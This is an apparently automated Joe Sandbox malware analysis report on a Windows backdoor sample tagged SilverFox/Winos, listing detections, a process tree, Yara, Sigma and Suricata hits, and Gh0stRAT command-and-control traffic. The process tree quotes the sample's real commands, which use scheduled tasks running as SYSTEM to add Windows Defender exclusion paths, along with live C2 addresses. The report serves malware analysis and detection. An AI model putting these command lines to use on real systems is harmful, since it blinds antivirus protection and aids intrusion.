Edit tour

Windows Analysis Report
2834573-3676874985.02.exe

Overview

General Information

Sample name:	2834573-3676874985.02.exe
Analysis ID:	1591556
MD5:	1c8d330d91bca0e74dae88bfc72d0710
SHA1:	545085bcc3b120c576449ce3047c7b85549d411b
SHA256:	151cbea2436a5ed2cd865fa3c6bcbf6abf0a1cb0166a1c1b49c6aa62a595eb2f
Tags:	backdoorexesilverfoxwinosuser-zhuzhu0009
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

AI detected suspicious sample

Adds extensions / path to Windows Defender exclusion list (Registry)

Creates an undocumented autostart registry key

Drops PE files to the document folder of the user

Found direct / indirect Syscall (likely to bypass EDR)

Machine Learning detection for dropped file

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

PE file contains section with special chars

Sample is not signed and drops a device driver

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Switches to a custom stack to bypass stack traces

Tries to delay execution (extensive OutputDebugStringW loop)

Tries to detect virtualization through RDTSC time measurements

Uses cmd line tools excessively to alter registry or file data

Uses schtasks.exe or at.exe to add and modify task schedules

Writes many files with high entropy

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Binary contains a suspicious time stamp

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to delete services

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates COM task schedule object (often to register a task for autostart)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Creates files inside the driver directory

Creates files inside the system directory

Creates or modifies windows services

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Windows Defender Folder Exclusion Added Via Reg.EXE

Sigma detected: Windows Defender Exclusions Added - Registry

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

2834573-3676874985.02.exe (PID: 5956 cmdline: "C:\Users\user\Desktop\2834573-3676874985.02.exe" MD5: 1C8D330D91BCA0E74DAE88BFC72D0710)

77WmQZ.exe (PID: 5924 cmdline: C:\Users\user\Documents\77WmQZ.exe MD5: D3709B25AFD8AC9B63CBD4E1E1D962B9)

77WmQZ.exe (PID: 1228 cmdline: C:\Users\user\Documents\77WmQZ.exe MD5: D3709B25AFD8AC9B63CBD4E1E1D962B9)

cmd.exe (PID: 5024 cmdline: "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 1892 cmdline: SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5288 cmdline: SCHTASKS /Run /TN "Task1" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5904 cmdline: SCHTASKS /Delete /TN "Task1" /F MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 7108 cmdline: "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6104 cmdline: SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6072 cmdline: SCHTASKS /Run /TN "Task1" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5324 cmdline: SCHTASKS /Delete /TN "Task1" /F MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 3176 cmdline: "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 4116 cmdline: SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3672 cmdline: SCHTASKS /Run /TN "Task1" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5336 cmdline: SCHTASKS /Delete /TN "Task1" /F MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 3624 cmdline: "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 3748 cmdline: SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\user\Documents\" /t REG_DWORD /d 0 /f" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3636 cmdline: SCHTASKS /Run /TN "Task1" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3696 cmdline: SCHTASKS /Delete /TN "Task1" /F MD5: 76CD6626DD8834BD4A42E6A565104DC2)

vtAIyr.exe (PID: 3660 cmdline: "C:\Program Files (x86)\vtAIyr\vtAIyr.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

cmd.exe (PID: 5172 cmdline: cmd /c echo.>c:\xxxx.ini MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

5fuoTf.exe (PID: 6280 cmdline: "C:\Program Files (x86)\yKOHid\5fuoTf.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

cmd.exe (PID: 1712 cmdline: cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 4088 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 5000 cmdline: cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 2848 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 3960 cmdline: cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 2256 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 5124 cmdline: cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\user\Documents" /t REG_DWORD /d 0 /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 3020 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\user\Documents" /t REG_DWORD /d 0 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

vtAIyr.exe (PID: 4144 cmdline: "C:\Program Files (x86)\vtAIyr\vtAIyr.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

4Gl42go.exe (PID: 2136 cmdline: "C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

4Gl42go.exe (PID: 3452 cmdline: "C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

4Gl42go.exe (PID: 2500 cmdline: "C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

vtAIyr.exe (PID: 5416 cmdline: "C:\Program Files (x86)\vtAIyr\vtAIyr.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

4Gl42go.exe (PID: 6692 cmdline: "C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

vtAIyr.exe (PID: 1888 cmdline: "C:\Program Files (x86)\vtAIyr\vtAIyr.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

4Gl42go.exe (PID: 512 cmdline: "C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

vtAIyr.exe (PID: 1900 cmdline: "C:\Program Files (x86)\vtAIyr\vtAIyr.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

cleanup

Yara Signatures

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.77WmQZ.exe.2760000.1.unpack	INDICATOR_SUSPICIOUS_DisableWinDefender	Detects executables containing artifcats associated with disabling Widnows Defender	ditekSHen	0x1fb0f:$e1: Microsoft\Windows Defender\Exclusions\Paths 0x1fbc2:$e1: Microsoft\Windows Defender\Exclusions\Paths 0x1fcd2:$e1: Microsoft\Windows Defender\Exclusions\Paths 0x1fc20:$e2: Add-MpPreference -ExclusionPath

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F, CommandLine: "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Users\user\Documents\77WmQZ.exe, ParentImage: C:\Users\user\Documents\77WmQZ.exe, ParentProcessId: 1228, ParentProcessName: 77WmQZ.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F, ProcessId: 5024, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Suspicious Windows Defender Folder Exclusion Added Via Reg.EXE

Source: Process started

Author: frack113: Data: Command: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f, CommandLine: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f, CommandLine|base64offset|contains: , Image: C:\Windows\System32\reg.exe, NewProcessName: C:\Windows\System32\reg.exe, OriginalFileName: C:\Windows\System32\reg.exe, ParentCommandLine: cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1712, ParentProcessName: cmd.exe, ProcessCommandLine: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f, ProcessId: 4088, ProcessName: reg.exe

Sigma detected: Windows Defender Exclusions Added - Registry

Source: Registry Key set

Author: Christian Burkard (Nextron Systems): Data: Details: 0, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\reg.exe, ProcessId: 4088, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T04:22:36.164821+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	39.103.20.17	443	TCP
2025-01-15T04:22:37.998096+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	39.103.20.17	443	TCP
2025-01-15T04:22:40.324236+0100	2028371	3	Unknown Traffic	192.168.2.4	49738	39.103.20.17	443	TCP
2025-01-15T04:22:42.129987+0100	2028371	3	Unknown Traffic	192.168.2.4	49739	39.103.20.17	443	TCP
2025-01-15T04:22:43.723511+0100	2028371	3	Unknown Traffic	192.168.2.4	49740	39.103.20.17	443	TCP
2025-01-15T04:22:51.870231+0100	2028371	3	Unknown Traffic	192.168.2.4	64325	39.103.20.17	443	TCP
2025-01-15T04:22:53.767716+0100	2028371	3	Unknown Traffic	192.168.2.4	64326	39.103.20.17	443	TCP

ETPRO MALWARE Backdoor/Win.Gh0stRAT CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T04:23:44.685652+0100	2852901	1	Malware Command and Control Activity Detected	192.168.2.4	64570	8.217.59.222	8917	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Program Files (x86)\vtAIyr\tbcore3U.dll	Avira: detection malicious, Label: TR/Redcap.vdzex
Source: C:\Program Files (x86)\vtAIyr\tbcore3U.dll	Avira: detection malicious, Label: TR/Redcap.vdzex
Source: C:\Program Files (x86)\20UfEkDS1\tbcore3U.dll	Avira: detection malicious, Label: TR/Redcap.vdzex

Multi AV Scanner detection for submitted file

Source: 2834573-3676874985.02.exe	Virustotal: Detection: 22%			Perma Link
Source: 2834573-3676874985.02.exe	ReversingLabs: Detection: 26%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\vtAIyr\tbcore3U.dll	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\vtAIyr\tbcore3U.dll	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\20UfEkDS1\tbcore3U.dll	Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 39.103.20.17:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 39.103.20.17:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 39.103.20.17:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 39.103.20.17:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 39.103.20.17:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 39.103.20.17:443 -> 192.168.2.4:64325 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 39.103.20.17:443 -> 192.168.2.4:64326 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 118.178.60.9:443 -> 192.168.2.4:64353 version: TLS 1.2

Source:	Binary string: BootstrapPackagedGame-Win64-Shipping.pdb source: 2834573-3676874985.02.exe
Source:	Binary string: d:\work\iGiveButton\toolbar4\Release_bin\uninstall.pdb source: 77WmQZ.exe, 00000005.00000003.2396243991.0000000003D2A000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe, 00000005.00000003.2396186021.0000000003D38000.00000004.00000020.00020000.00000000.sdmp, vtAIyr.exe, 00000027.00000000.2639034030.0000000000C38000.00000002.00000001.01000000.0000000A.sdmp, vtAIyr.exe, 00000028.00000000.2655555189.0000000000C38000.00000002.00000001.01000000.0000000A.sdmp, vtAIyr.exe, 00000028.00000002.2672045370.0000000000C38000.00000002.00000001.01000000.0000000A.sdmp, 4Gl42go.exe, 0000002A.00000002.2673223168.0000000000B08000.00000002.00000001.01000000.0000000C.sdmp, 4Gl42go.exe, 0000002A.00000000.2665114462.0000000000B08000.00000002.00000001.01000000.0000000C.sdmp, 4Gl42go.exe, 0000002C.00000002.2697467868.0000000000B08000.00000002.00000001.01000000.0000000C.sdmp, 4Gl42go.exe, 0000002C.00000000.2689222939.0000000000B08000.00000002.00000001.01000000.0000000C.sdmp, 4Gl42go.exe, 0000002D.00000000.2856673861.0000000000B08000.00000002.00000001.01000000.0000000C.sdmp, 4Gl42go.exe, 0000002D.00000002.2872574837.0000000000B08000.00000002.00000001.01000000.0000000C.sdmp, vtAIyr.exe, 0000002E.00000002.2872136403.0000000000C38000.00000002.00000001.01000000.0000000A.sdmp, vtAIyr.exe, 0000002E.00000000.2856712475.0000000000C38000.00000002.00000001.01000000.0000000A.sdmp, 5fuoTf.exe, 0000002F.00000000.2928415343.0000000000E38000.00000002.00000001.01000000.0000000E.sdmp, 5fuoTf.exe, 0000002F.00000002.2936667188.0000000000E38000.00000002.00000001.01000000.0000000E.sdmp, 4Gl42go.exe, 00000030.00000000.3446927779.0000000000B08000.00000002.00000001.01000000.0000000C.sdmp, 4Gl42go.exe, 00000030.00000002.3463179547.0000000000B08000.00000002.00000001.01000000.0000000C.sdmp, vtAIyr.exe, 00000031.00000002.3457390537.0000000000C38000.00000002.00000001.01000000.0000000A.sdmp, vtAIyr.exe, 00000031.00000000.3447241740.0000000000C38000.00000002.00000001.01000000.0000000A.sdmp, 4Gl42go.exe, 00000032.00000000.4046857630.0000000000B08000.00000002.00000001.01000000.0000000C.sdmp, 4Gl42go.exe, 00000032.00000002.4056025729.0000000000B08000.00000002.00000001.01000000.0000000C.sdmp, vtAIyr.exe, 00000033.00000002.4077543289.0000000000C38000.00000002.00000001.01000000.0000000A.sdmp, vtAIyr.exe, 00000033.00000000.4047056080.0000000000C38000.00000002.00000001.01000000.0000000A.sdmp, 4Gl42go.exe.39.dr, vtAIyr.exe.5.dr
Source:	Binary string: c:\tools_git_priv\truesight\driver\objfre_win7_amd64\amd64\TrueSight.pdb source: 189atohci.sys.0.dr
Source:	Binary string: y:\avsdk5\engine\make\build\public\64-bit\vseamps.pdb source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe, 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmp, 77WmQZ.exe, 00000004.00000000.2176007625.0000000140014000.00000002.00000001.01000000.00000007.sdmp, 77WmQZ.exe, 00000005.00000000.2196175397.0000000140014000.00000002.00000001.01000000.00000007.sdmp, 77WmQZ.exe.0.dr

Change of critical system settings

Adds extensions / path to Windows Defender exclusion list (Registry)

Source: C:\Windows\System32\reg.exe	Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\ProgramData	Jump to behavior
Source: C:\Windows\System32\reg.exe	Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Users	Jump to behavior
Source: C:\Windows\System32\reg.exe	Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Program Files (x86)	Jump to behavior
Source: C:\Windows\System32\reg.exe	Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Users\user\Documents	Jump to behavior

Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior

Source: C:\Users\user\Documents\77WmQZ.exe

Code function: 4_2_00007FFE1A52A1B8 FindFirstFileExW,

4_2_00007FFE1A52A1B8

Source: C:\Users\user\Documents\77WmQZ.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	4_2_000000014000DFFE
Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	4_2_000000014000DDFF
